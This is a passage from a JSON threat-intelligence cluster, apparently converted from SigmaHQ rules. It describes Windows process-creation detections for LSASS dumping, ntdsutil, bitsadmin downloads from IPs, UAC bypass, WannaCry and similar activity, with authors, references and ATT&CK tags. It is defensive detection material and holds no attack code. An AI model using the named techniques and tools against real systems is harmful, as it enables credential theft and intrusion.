"CL_LoadAssembly.ps1 Proxy Execution" }, { "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", "meta": { "author": "Florian Roth", "creation_date": "2020/07/15", "falsepositive": [ "Unknown but benign sub processes of the Windows DNS service dns.exe" ], "filename": "proc_creation_win_exploit_cve_2020_1350.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html", "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", "value": "DNS RCE CVE-2020-1350" }, { "description": "Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/14", "falsepositive": [ "Legitimate usage to restore snapshots", "Legitimate admin activity" ], "filename": "proc_creation_win_susp_ntdsutil_usage.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11)", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntdsutil_usage.yml" ], "tags": [ "attack.credential_access", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a58353df-af43-4753-bad0-cd83ef35eef5", "value": "Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)" }, { "description": "Detects suspicious use of XORDump process memory dumping utility", "meta": { "author": "Florian Roth", "creation_date": "2022/01/28", "falsepositive": [ "Another tool that uses the command line switches of XORdump" ], "filename": "proc_creation_win_xordump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/audibleblink/xordump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", "value": "XORDump Use" }, { "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/07", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." ], "filename": "proc_creation_win_ntfs_short_name_path_use_image.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", "https://twitter.com/frack113/status/1555830623633375232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1", "value": "Use Short Name Path in Image" }, { "description": "Detects a Windows command line executable started from MMC", "meta": { "author": "Karneades, Swisscom CSIRT", "creation_date": "2019/08/05", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_mmc_spawn_shell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", "value": "MMC Spawning Windows Shell" }, { "description": "Detects the creation of a process from Windows task manager", "meta": { "author": "Florian Roth", "creation_date": "2018/03/13", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_taskmgr_parent.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", "value": "Taskmgr as Parent" }, { "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", "meta": { "author": "frack113", "creation_date": "2021/12/11", "falsepositive": [ "Administrator, hotline ask to user" ], "filename": "proc_creation_win_susp_tasklist_command.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" ], "tags": [ "attack.discovery", "attack.t1057" ] }, "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", "value": "Suspicious Tasklist Discovery Command" }, { "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_iis_connection_strings_decryption.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", "value": "Microsoft IIS Connection Strings Decryption" }, { "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", "meta": { "author": "Florian Roth", "creation_date": "2022/10/08", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_iox.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/EddieIvan01/iox", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" ], "tags": [ "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", "value": "IOX Tunneling Tool" }, { "description": "Detects process dump via legitimate sqldumper.exe binary", "meta": { "author": "Kirill Kiryanov, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate MSSQL Server actions" ], "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/countuponsec/status/910969424215232518", "https://twitter.com/countuponsec/status/910977826853068800", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516", "value": "Dumping Process via Sqldumper.exe" }, { "description": "Use of reg to get MachineGuid information", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_machineguid.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", "value": "Suspicious Query of MachineGUID" }, { "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", "meta": { "author": "frack113", "creation_date": "2022/07/18", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_icacls_deny.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", "value": "Use Icacls to Hide File to Everyone" }, { "description": "Detect suspicious parent processes of well-known Windows processes", "meta": { "author": "vburov", "creation_date": "2019/02/23", "falsepositive": [ "Some security products seem to spawn these" ], "filename": "proc_creation_win_proc_wrong_parent.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003", "attack.t1036.005" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "96036718-71cc-4027-a538-d1587e0006a7", "value": "Windows Processes Suspicious Parent Directory" }, { "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_query_session_exfil.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/MichalKoczwara/status/1553634816016498688", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml" ], "tags": [ "attack.execution" ] }, "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2", "value": "Query Usage To Exfil Data" }, { "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_lolbin_pktmon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" ], "tags": [ "attack.credential_access", "attack.t1040" ] }, "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", "value": "Use of PktMon.exe" }, { "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", "meta": { "author": "frack113", "creation_date": "2021/07/12", "falsepositive": [ "App-V clients" ], "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133", "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code" }, { "description": "Downloads payload from remote server", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2019/10/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_msoffice.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Reegun J (OCBC Bank)", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", "value": "Malicious Payload Download via Office Binaries" }, { "description": "Detects specific process characteristics of Snatch ransomware word document droppers", "meta": { "author": "Florian Roth", "creation_date": "2020/08/26", "falsepositive": [ "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" ], "filename": "proc_creation_win_crime_snatch_ransomware.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" ], "tags": [ "attack.execution", "attack.t1204" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", "value": "Snatch Ransomware" }, { "description": "Detects indicators of a UAC bypass method by mocking directories", "meta": { "author": "Florian Roth", "creation_date": "2021/08/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://github.com/netero1010/TrustedPath-UACBypass-BOF", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" ], "tags": [ "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", "value": "TrustedPath UAC Bypass Pattern" }, { "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/01", "falsepositive": [ "Legitimate use by a software developer" ], "filename": "proc_creation_win_lolbin_wfc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5", "value": "Use of Wfc.exe" }, { "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "99c840f2-2012-46fd-9141-c761987550ef", "value": "Bitsadmin Download File from IP" }, { "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", "meta": { "author": "Florian Roth, Samir Bousseaden", "creation_date": "2021/11/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_lsass_clone.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Hexacorn/status/1420053502554951689", "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", "value": "Suspicious LSASS Process Clone" }, { "description": "Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.", "meta": { "author": "Micah Babinski", "creation_date": "2022/12/11", "falsepositive": [ "Legitimate use of the tool by administrators or users to update metadata of a binary" ], "filename": "proc_creation_win_susp_rcedit_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/electron/rcedit", "https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915", "https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rcedit_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003", "attack.t1036", "attack.t1027.005", "attack.t1027" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0c92f2e6-f08f-4b73-9216-ecb0ca634689", "value": "Potential PE Metadata Tamper Using Rcedit" }, { "description": "Detects base64 encoded listing Win32_Shadowcopy", "meta": { "author": "Christian Burkard", "creation_date": "2022/03/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_base64_listing_shadowcopy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", "value": "Base64 Encoded Listing of Shadowcopy" }, { "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://redcanary.com/blog/raspberry-robin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", "value": "Suspicious Usage Of ShellExec_RunDLL" }, { "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/10", "falsepositive": [ "Other parent binaries using GUP not currently identified" ], "filename": "proc_creation_win_susp_gup_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1535322445439180803", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" ], "tags": [ "attack.execution" ] }, "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", "value": "Execute Arbitrary Binaries Using GUP Utility" }, { "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", "meta": { "author": "frack113", "creation_date": "2022/05/16", "falsepositive": [ "Legitimate uses of logon scripts distributed via group policy" ], "filename": "proc_creation_win_lolbin_gpscript.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1e59c230-6670-45bf-83b0-98903780607e", "value": "Gpscript Execution" }, { "description": "Detects nltest commands that can be used for information discovery", "meta": { "author": "Craig Young, oscd.community, Georg Lauenstein", "creation_date": "2021/07/24", "falsepositive": [ "Legitimate administration use but user must be check out" ], "filename": "proc_creation_win_nltest_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" ], "tags": [ "attack.discovery", "attack.t1016", "attack.t1482" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", "value": "Recon Activity with NLTEST" }, { "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", "meta": { "author": "Sander Wiebing", "creation_date": "2020/05/23", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_allow_port_rdp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", "value": "Netsh RDP Port Opening" }, { "description": "Detects the Installation of a Exchange Transport Agent", "meta": { "author": "Tobias Michalski", "creation_date": "2021/06/08", "falsepositive": [ "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." ], "filename": "proc_creation_win_win_exchange_transportagent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" ], "tags": [ "attack.persistence", "attack.t1505.002" ] }, "related": [ { "dest-uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", "value": "MSExchange Transport Agent Installation" }, { "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", "creation_date": "2018/07/16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], "filename": "proc_creation_win_cmstp_execution_by_creation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.003", "attack.g0069", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", "value": "CMSTP Execution Process Creation" }, { "description": "Detects WannaCry ransomware activity", "meta": { "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_wannacry.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" ], "tags": [ "attack.lateral_movement", "attack.t1210", "attack.discovery", "attack.t1083", "attack.defense_evasion", "attack.t1222.001", "attack.impact", "attack.t1486", "attack.t1490" ] }, "related": [ { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", "value": "WannaCry Ransomware" }, { "description": "schtasks.exe create task from user AppData\\Local\\Temp", 